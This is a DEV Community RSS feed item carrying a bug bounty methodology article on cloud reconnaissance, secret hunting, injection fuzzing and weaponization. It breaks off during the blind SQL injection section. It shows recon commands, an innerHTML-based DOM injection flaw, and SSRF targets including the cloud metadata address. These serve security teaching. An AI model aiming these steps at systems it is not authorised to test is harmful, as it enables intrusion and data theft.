<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Trumpiter</title>
    <description>The latest articles on DEV Community by Trumpiter (@trumpiter).</description>
    <link>https://dev.to/trumpiter</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2359355%2Fe6dddbc0-139c-4434-ae3e-407c8c92f5e5.jpg</url>
      <title>DEV Community: Trumpiter</title>
      <link>https://dev.to/trumpiter</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/trumpiter"/>
    <language>en</language>
    <item>
      <title>🐞 Comprehensive Bug Bounty Hunting Methodology</title>
      <dc:creator>Trumpiter</dc:creator>
      <pubDate>Mon, 02 Jun 2025 04:52:32 +0000</pubDate>
      <link>https://dev.to/trumpiter/comprehensive-bug-bounty-hunting-methodology-3f02</link>
      <guid>https://dev.to/trumpiter/comprehensive-bug-bounty-hunting-methodology-3f02</guid>
      <description>&lt;h1&gt;
  
  
  Comprehensive Bug Bounty Hunting Methodology
&lt;/h1&gt;

&lt;p&gt;This document outlines a detailed methodology for bug bounty hunting, focusing on cloud misconfigurations, various injection vulnerabilities, and application logic flaws.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 1: Cloud Infrastructure Bug Bounty Methodology
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Identify and report misconfigurations in the target's public cloud infrastructure that could lead to data exposure or unauthorized access. This involves scrutinizing flaws in cloud services utilized by the application, whether it's misconfigured infrastructure hosted by the cloud provider or application code insecurely leveraging cloud services.&lt;/p&gt;

&lt;h3&gt;
  
  
  Section 1.1: Enumerate Cloud Infrastructure and Attack Surface
&lt;/h3&gt;

&lt;p&gt;The initial phase involves comprehensive reconnaissance to identify all cloud resources associated with the target.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Automated Multi-Cloud OSINT:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Utilize tools like &lt;strong&gt;&lt;a href="https://github.com/initstring/cloud_enum" rel="noopener noreferrer"&gt;Cloud_Enum&lt;/a&gt;&lt;/strong&gt; to perform a broad search across multiple cloud providers (AWS, Azure, GCP) for assets related to the target organization. This tool helps discover storage buckets, cloud functions, and other publicly exposed resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DNS Record Analysis for Resource Identification:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Specific Tooling:&lt;/strong&gt; Employ tools such as &lt;strong&gt;&lt;a href="https://github.com/bblastie/fire_cloud" rel="noopener noreferrer"&gt;Fire_cloud standalone&lt;/a&gt;&lt;/strong&gt;, which specializes in reviewing DNS records of subdomains to find AWS resources. This tool can often be adapted for other cloud providers by modifying its search patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manual CNAME Record Inspection:&lt;/strong&gt; Manually inspect CNAME records in DNS lookups. Often, cloud resources are masked behind subdomains that point to them via CNAME entries. Look for CNAMEs pointing to common cloud service domains. This list is not exhaustive but provides a starting point:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;amazonaws.com&lt;/code&gt; (and its various service-specific subdomains like &lt;code&gt;s3.amazonaws.com&lt;/code&gt;, &lt;code&gt;elb.amazonaws.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;digitaloceanspaces.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;windows.net&lt;/code&gt; (Azure services like &lt;code&gt;blob.core.windows.net&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;storage.googleapis.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aliyuncs.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Other provider-specific domains (e.g., Oracle Cloud, IBM Cloud).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Domain Discovery via Azure AD:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;strong&gt;&lt;a href="https://aadinternals.com/osint/" rel="noopener noreferrer"&gt;AADInternals OSINT&lt;/a&gt;&lt;/strong&gt; to potentially uncover new domains or subdomains related to the target, which might then lead to more cloud resources.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In a PowerShell prompt:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;import-module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AADInternals&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-AADIntReconAsOutsider&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"{target-website.com}"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;format-table&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web Page Scraping for Cloud Resources:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Employ tools like &lt;strong&gt;&lt;a href="https://github.com/jordanpotti/CloudScraper" rel="noopener noreferrer"&gt;CloudScraper&lt;/a&gt;&lt;/strong&gt; to scrape web pages for links and references to cloud storage assets (e.g., S3 buckets, Azure blobs).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OSINT Search for Exposed Secrets:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitHub Reconnaissance (Manual &amp;amp; Automated):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;User/Organization Specific Searches:&lt;/strong&gt; Use scripts like &lt;strong&gt;&lt;a href="https://github.com/gwen001/github-search/blob/master/github-users.py" rel="noopener noreferrer"&gt;github-users.py&lt;/a&gt;&lt;/strong&gt; to search for secrets within a target user's or organization's repositories.&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 github-users.py &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;target_keyword_or_company_name&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Advanced Dorking:&lt;/strong&gt; Utilize tools like &lt;strong&gt;&lt;a href="https://github.com/R-s0n/Github_Brute-Dork" rel="noopener noreferrer"&gt;Github-Brute-Dork&lt;/a&gt;&lt;/strong&gt; for systematic dorking to find leaked API keys, credentials, or sensitive configuration files.&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 github_brutedork.py &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;YOUR_GITHUB_USER] &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;YOUR_GITHUB_TOKEN] &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;TARGET_USER] &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;TARGET_ORG] &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Impact Assessment of Found Secrets:**
    * Use **[Dora](https://github.com/sdushantha/dora#example-use-cases)** to quickly assess the potential impact and permissions associated with discovered cloud service keys or tokens.
* **Validity Check for Secrets:**
    * Verify the functionality and permissions of any discovered secrets using tools/scripts like:
        * **[Keyhacks (Python)](https://github.com/streaak/keyhacks)**
        * **[keyhacks.sh (Bash)](https://github.com/gwen001/keyhacks.sh)**
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Automated Vulnerability Scanning for Cloud Assets:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Leverage &lt;strong&gt;&lt;a href="https://github.com/projectdiscovery/nuclei-templates/tree/main/cloud/enum" rel="noopener noreferrer"&gt;Nuclei Cloud Enum Templates&lt;/a&gt;&lt;/strong&gt;. These templates can help automate the discovery of common misconfigurations and exposures in cloud services (e.g., publicly accessible S3 buckets, open Elasticsearch instances).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Section 1.2: Analyzing for Infrastructure Misconfigurations
&lt;/h3&gt;

&lt;p&gt;Once cloud assets are identified, the next step is to probe for common misconfigurations.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Research Common Misconfigurations:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;For each discovered service (e.g., S3, EC2, Azure Blob Storage, Kubernetes), research the most prevalent misconfigurations. Focus on services left publicly accessible unintentionally or those with overly permissive access granted to internet-facing users.&lt;/li&gt;
&lt;li&gt;Consult comprehensive resources like:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://cloud.hacktricks.xyz/" rel="noopener noreferrer"&gt;HackTrickz Cloud&lt;/a&gt;&lt;/strong&gt;: An extensive knowledge base for cloud penetration testing techniques and misconfigurations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://hackingthe.cloud/" rel="noopener noreferrer"&gt;Hacking The Cloud&lt;/a&gt;&lt;/strong&gt;: A curated collection of attack techniques against cloud services.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Section 1.3: Analyzing Application Code Interaction with Cloud Services
&lt;/h3&gt;

&lt;p&gt;Applications often interact with cloud services. Flaws in this interaction can lead to vulnerabilities.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Review HTTP Traffic:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;While interacting with the target application, meticulously monitor HTTP(S) traffic using a proxy like Burp Suite or OWASP ZAP.&lt;/li&gt;
&lt;li&gt;Look for requests made directly to cloud resources (e.g., &lt;code&gt;*.s3.amazonaws.com&lt;/code&gt;, &lt;code&gt;*.blob.core.windows.net&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Analyze how the application uses these resources: Is it fetching static assets, uploading user data, or making API calls to cloud-backed services?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Research Insecure Implementations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Once you understand how the application uses a cloud service, research common ways these integrations can be implemented insecurely. For instance, if an application generates signed URLs for S3, check if the permissions are too broad or if the signing process can be manipulated.&lt;/li&gt;
&lt;li&gt;Utilize hands-on learning platforms:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://pwnedlabs.io/" rel="noopener noreferrer"&gt;PwnedLabs&lt;/a&gt;&lt;/strong&gt;: Offers practical labs to understand and exploit cloud application misconfigurations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Refer to industry best practices and common pitfalls:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://owasp.org/www-project-cloud-native-application-security-top-10/" rel="noopener noreferrer"&gt;OWASP Cloud-Native Application Security Top 10&lt;/a&gt;&lt;/strong&gt;: Highlights the most critical security risks in cloud-native applications.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Part 2: Injection Vulnerabilities Methodology
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Discover instances where unexpected user-controlled input causes the application to behave in an unintended manner, potentially leading to data breaches, command execution, or denial of service.&lt;/p&gt;

&lt;p&gt;Injection attacks occur when user-controlled input within an HTTP Request is processed by the application in a way that alters its intended execution flow. This could manifest as an error (e.g., HTTP 500), triggering a new conditional logic path, or any other deviation from normal behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  Section 2.1: Step 1 - Fuzzing for Unexpected Behavior
&lt;/h3&gt;

&lt;p&gt;The primary step is to identify input patterns (payloads) that trigger anomalous responses.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Establish a Baseline:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send legitimate HTTP requests to various endpoints and record the expected responses (status codes, content, headers). This baseline is crucial for identifying deviations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Systematic Fuzzing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Iterate through various attack vectors within the HTTP request (URL parameters, POST body parameters, headers, cookies).&lt;/li&gt;
&lt;li&gt;Inject simple payloads, often single characters or basic HTML elements, one by one.&lt;/li&gt;
&lt;li&gt;Monitor responses for any variations from the established baseline.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Examples of Baseline vs. Variation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scenario 1: Server-Side Error Triggered&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Baseline:&lt;/strong&gt; &lt;code&gt;GET /fetch?dest=safeapp.com&lt;/code&gt; results in a &lt;code&gt;200 OK&lt;/code&gt; response with the message "Done!"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Variation:&lt;/strong&gt; &lt;code&gt;GET /fetch?dest=safeapp.com@&lt;/code&gt; results in a &lt;code&gt;500 Internal Server Error&lt;/code&gt; response with "ERROR: Site cannot be reached!"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unexpected Behavior:&lt;/strong&gt; The response code changes, indicating a server-side error.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Scenario 2: Data Handling Error**
    * **Baseline:** `GET /search?q=rs0n` results in a `200 OK` response with an empty JSON object.
    * **Variation:** `GET /search?q=rs0n"` results in a `500 Internal Server Error`.
    * **Unexpected Behavior:** The response code changes, and no data is returned, suggesting an error in data processing or querying.

* **Scenario 3: Client-Side Rendering Change**
    * **Baseline:** `GET /welcome?user=rs0n` results in `&amp;lt;h1&amp;gt;Welcome rs0n&amp;lt;/h1&amp;gt;`.
    * **Variation:** `GET /welcome?user=&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;` results in `&amp;lt;h1&amp;gt;Welcome &amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;&amp;lt;/h1&amp;gt;`.
    * **Unexpected Behavior:** The DOM renders formatted text (bold) that the developer did not intend, indicating potential HTML injection.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Section 2.2: Step 2 - Finding WHERE the Break is Occurring
&lt;/h3&gt;

&lt;p&gt;Determine which part of the application (Client-Side, Server-Side, Database) is processing the input and causing the unexpected behavior. This is akin to how Dynamic Application Security Testing (DAST) scanners operate.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Client-Side Injection:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Occurs when user input is reflected in the DOM, and the payload causes new HTML elements to render or JavaScript to execute.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example:&lt;/strong&gt; The &lt;code&gt;/welcome?user=&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;&lt;/code&gt; scenario where bold text appears. If the injected HTML is directly visible in the browser's rendered output and potentially in the raw HTTP response body if server-side templating is involved.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Server-Side Code Injection:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Typically indicated by errors (like HTTP 500) occurring before a complete DOM is returned, or by behavior changes driven by server-side logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example:&lt;/strong&gt; The &lt;code&gt;/fetch?dest=safeapp.com@&lt;/code&gt; scenario. The error is server-generated. Researching the &lt;code&gt;@&lt;/code&gt; symbol in URL contexts might point towards server-side URL parsing or request libraries. If &lt;code&gt;@&lt;/code&gt; doesn't have special meaning in common database syntaxes, server-side code is a stronger candidate.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Database Injection:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Often indicated by errors when special characters used in database query languages (like &lt;code&gt;'&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;) are injected. Endpoint names like &lt;code&gt;/search&lt;/code&gt; or parameter names like &lt;code&gt;q&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt; can be hints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example:&lt;/strong&gt; The &lt;code&gt;/search?q=rs0n"&lt;/code&gt; scenario. The &lt;code&gt;"&lt;/code&gt; character is highly significant in SQL and other query languages. This makes a database interaction the likely culprit.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Section 2.3: Step 3 - Finding WHY the Break is Occurring
&lt;/h3&gt;

&lt;p&gt;Understand the specific reason the payload causes the unexpected behavior. This involves investigating the underlying technology and code patterns.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Server-Side Injection Analysis (&lt;code&gt;/fetch?dest=safeapp.com@&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Observation:&lt;/strong&gt; The &lt;code&gt;@&lt;/code&gt; symbol causes a server error. The endpoint name (&lt;code&gt;fetch&lt;/code&gt;) and error message (&lt;code&gt;Site cannot be reached!&lt;/code&gt;) suggest an outgoing HTTP request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;@&lt;/code&gt; symbol is generally &lt;a href="https://domainname.shop/faq?section=1&amp;amp;id=7&amp;amp;currency=USD&amp;amp;lang=en" rel="noopener noreferrer"&gt;not allowed directly in domain names&lt;/a&gt; for registration, but it has a special meaning in URLs: &lt;code&gt;protocol://user:password@host/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the server-side code constructs a URL from &lt;code&gt;safeapp.com@&lt;/code&gt;, it might interpret &lt;code&gt;safeapp.com&lt;/code&gt; as a username for an empty host, or the library (e.g., &lt;a href="https://www.npmjs.com/package/node-fetch" rel="noopener noreferrer"&gt;node-fetch&lt;/a&gt;) might throw an error due to the malformed URL (e.g., &lt;code&gt;https://safeapp.com@&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hypothesis:&lt;/strong&gt; The server-side code attempts to make an HTTP request using the &lt;code&gt;dest&lt;/code&gt; parameter. The &lt;code&gt;@&lt;/code&gt; symbol corrupts the URL formation, leading to an exception in the HTTP client library.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Database Injection Analysis (&lt;code&gt;/search?q=rs0n"&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Observation:&lt;/strong&gt; A &lt;code&gt;"&lt;/code&gt; causes a 500 error on a search endpoint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research:&lt;/strong&gt; Double quotes (&lt;code&gt;"&lt;/code&gt;) are commonly used to delimit strings or identifiers in SQL queries. NoSQL databases often use &lt;code&gt;$&lt;/code&gt; operators for queries, with &lt;code&gt;"&lt;/code&gt; for simple strings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hypothesis:&lt;/strong&gt; The application is likely using an SQL database. The input &lt;code&gt;rs0n"&lt;/code&gt; is appended into a query like &lt;code&gt;SELECT * FROM main_table WHERE data CONTAINS "rs0n"";&lt;/code&gt;, creating a syntax error due to the extra quote.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Client-Side Injection Analysis (&lt;code&gt;/welcome?user=&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Observation:&lt;/strong&gt; HTML tags in the &lt;code&gt;user&lt;/code&gt; parameter are rendered in the browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analysis:&lt;/strong&gt; Determine if the DOM is built server-side (payload in HTTP response) or client-side (JavaScript manipulation).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding (as per your note):&lt;/strong&gt; The server response does not contain &lt;code&gt;&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;&lt;/code&gt;. Instead, an inline JavaScript block is found:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text/javascript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getQueryParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;urlParams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;urlParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;displayWelcomeMessage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getQueryParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Corrected 'name' to 'user' based on example&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;h1&amp;gt;Welcome &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/h1&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;h1&amp;gt;Welcome Guest&amp;lt;/h1&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;displayWelcomeMessage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Hypothesis:** Client-side JavaScript retrieves the `user` parameter and uses `innerHTML` to update the DOM, leading to HTML injection.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Section 2.4: Step 4 - Weaponizing The Break
&lt;/h3&gt;

&lt;p&gt;Transform the identified break into a demonstrable vulnerability with security impact.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Server-Side Injection Weaponization (&lt;code&gt;/fetch?dest=safeapp.com@&lt;/code&gt; -&amp;gt; SSRF):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hypothesis Confirmation:&lt;/strong&gt; The application makes an HTTP request. Confirm this by providing a URL to a server you control (e.g., Burp Collaborator): &lt;code&gt;/fetch?dest=[YOUR_COLLABORATOR_DOMAIN]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Mapping:&lt;/strong&gt; If an HTTP request is received by your Collaborator, this confirms an External Service Interaction. If you can make the server request internal resources (e.g., &lt;code&gt;http://localhost:8080/admin&lt;/code&gt;, &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt;) or interact with internal services in a meaningful way, it becomes Server-Side Request Forgery (SSRF).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Demonstrate SSRF by accessing an internal service not otherwise reachable, or by exfiltrating data from such a service. Even causing a distinguishable effect on an internal application can show impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Database Injection Weaponization (&lt;code&gt;/search?q=rs0n"&lt;/code&gt; -&amp;gt; Blind SQLi):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Assumption:&lt;/strong&gt; SQL database, no direct error messages (blind).&lt;/li&gt;
